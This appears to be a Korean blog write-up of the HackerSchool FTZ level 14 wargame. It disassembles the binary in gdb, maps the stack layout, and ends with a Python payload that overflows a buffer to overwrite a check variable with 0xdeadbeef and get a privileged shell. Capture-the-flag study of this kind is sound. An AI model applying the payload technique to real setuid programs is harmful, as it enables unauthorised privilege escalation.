-
lvl 14Wargame/HackerSchool FTZ 2019. 1. 22. 09:37
→ 힌트 정보 열람.
→ 버퍼오버플로우 문제로 추측되며, check 변수의 값에 0xdeadbeef 값을 덮어쓰는것을 목표로 한다. 메모리 맵을 그리기 위해, gdb를 이용하여 디버깅한다.
[level14@ftz tmp]$ gdb -q abc
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>: push ebp
0x080483b9 <main+1>: mov ebp,esp
0x080483bb <main+3>: sub esp,0x38
0x080483be <main+6>: and esp,0xfffffff0
0x080483c1 <main+9>: mov eax,0x0
0x080483c6 <main+14>: sub esp,eax
0x080483c8 <main+16>: sub esp,0x4
0x080483cb <main+19>: push ds:0x80495d0
0x080483d1 <main+25>: push 0x2d
0x080483d3 <main+27>: lea eax,[ebp-56]
0x080483d6 <main+30>: push eax
0x080483d7 <main+31>: call 0x80482d8 <fgets>
0x080483dc <main+36>: add esp,0x10
0x080483df <main+39>: cmp DWORD PTR [ebp-16],0xdeadbeef
0x080483e6 <main+46>: jne 0x804840d <main+85>
0x080483e8 <main+48>: sub esp,0x8
0x080483eb <main+51>: push 0xc17
0x080483f0 <main+56>: push 0xc17
0x080483f5 <main+61>: call 0x80482f8 <setreuid>
0x080483fa <main+66>: add esp,0x10
0x080483fd <main+69>: sub esp,0xc
0x08048400 <main+72>: push 0x80484bc
0x08048405 <main+77>: call 0x80482c8 <system>
0x0804840a <main+82>: add esp,0x10
0x0804840d <main+85>: leave
0x0804840e <main+86>: ret
0x0804840f <main+87>: nop
End of assembler dump.
(gdb)
→ 0x38(56)바이트 만큼 스택 공간을 마련한다.
int crop -> 4
int check -> 4
char buf[20] -> 20
→ 총 28바이트이므로, 나머지 28바이트를 더미로 생각할 수 있다. 다음엔, 더미의 위치를 예측해야 하는데 어셈블 코드를 살펴보면 알 수 있다.
0x080483d3 <main+27>: lea eax,[ebp-56]
0x080483d6 <main+30>: push eax
0x080483d7 <main+31>: call 0x80482d8 <fgets>
→ 위 코드를 살펴보면, fgets 함수가 실행되는데 입력 값이 ebp-56 위치에 저장되는 것을 확인 가능하다.
→ 즉, ebp-56에서 20만큼 buf 변수이니까 ebp-36까지다.
ebp-56 ~ ebp-36 => buf[20]
0x080483dc <main+36>: add esp,0x10
0x080483df <main+39>: cmp DWORD PTR [ebp-16],0xdeadbeef
→ 위 코드를 살펴보면, ebp-16에서 문자열 0xdeadbeef 값과 비교한다. 즉 check 변수는 ebp-16에서 4바이트인 ebp-12 까지다.
ebp-16 ~ ebp-12 => int check
→ 그렇다면, buf[20]과 int check 사이의 공간이 더미 값이다.
ebp-36 ~ ebp-16 => dummy[20]
→ 예상되는 메모리 구조는 아래와 같다.
→ 페이로드에 따라 공격을 수행한다.
[level14@ftz level14]$ `python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat` | ./attackme
댓글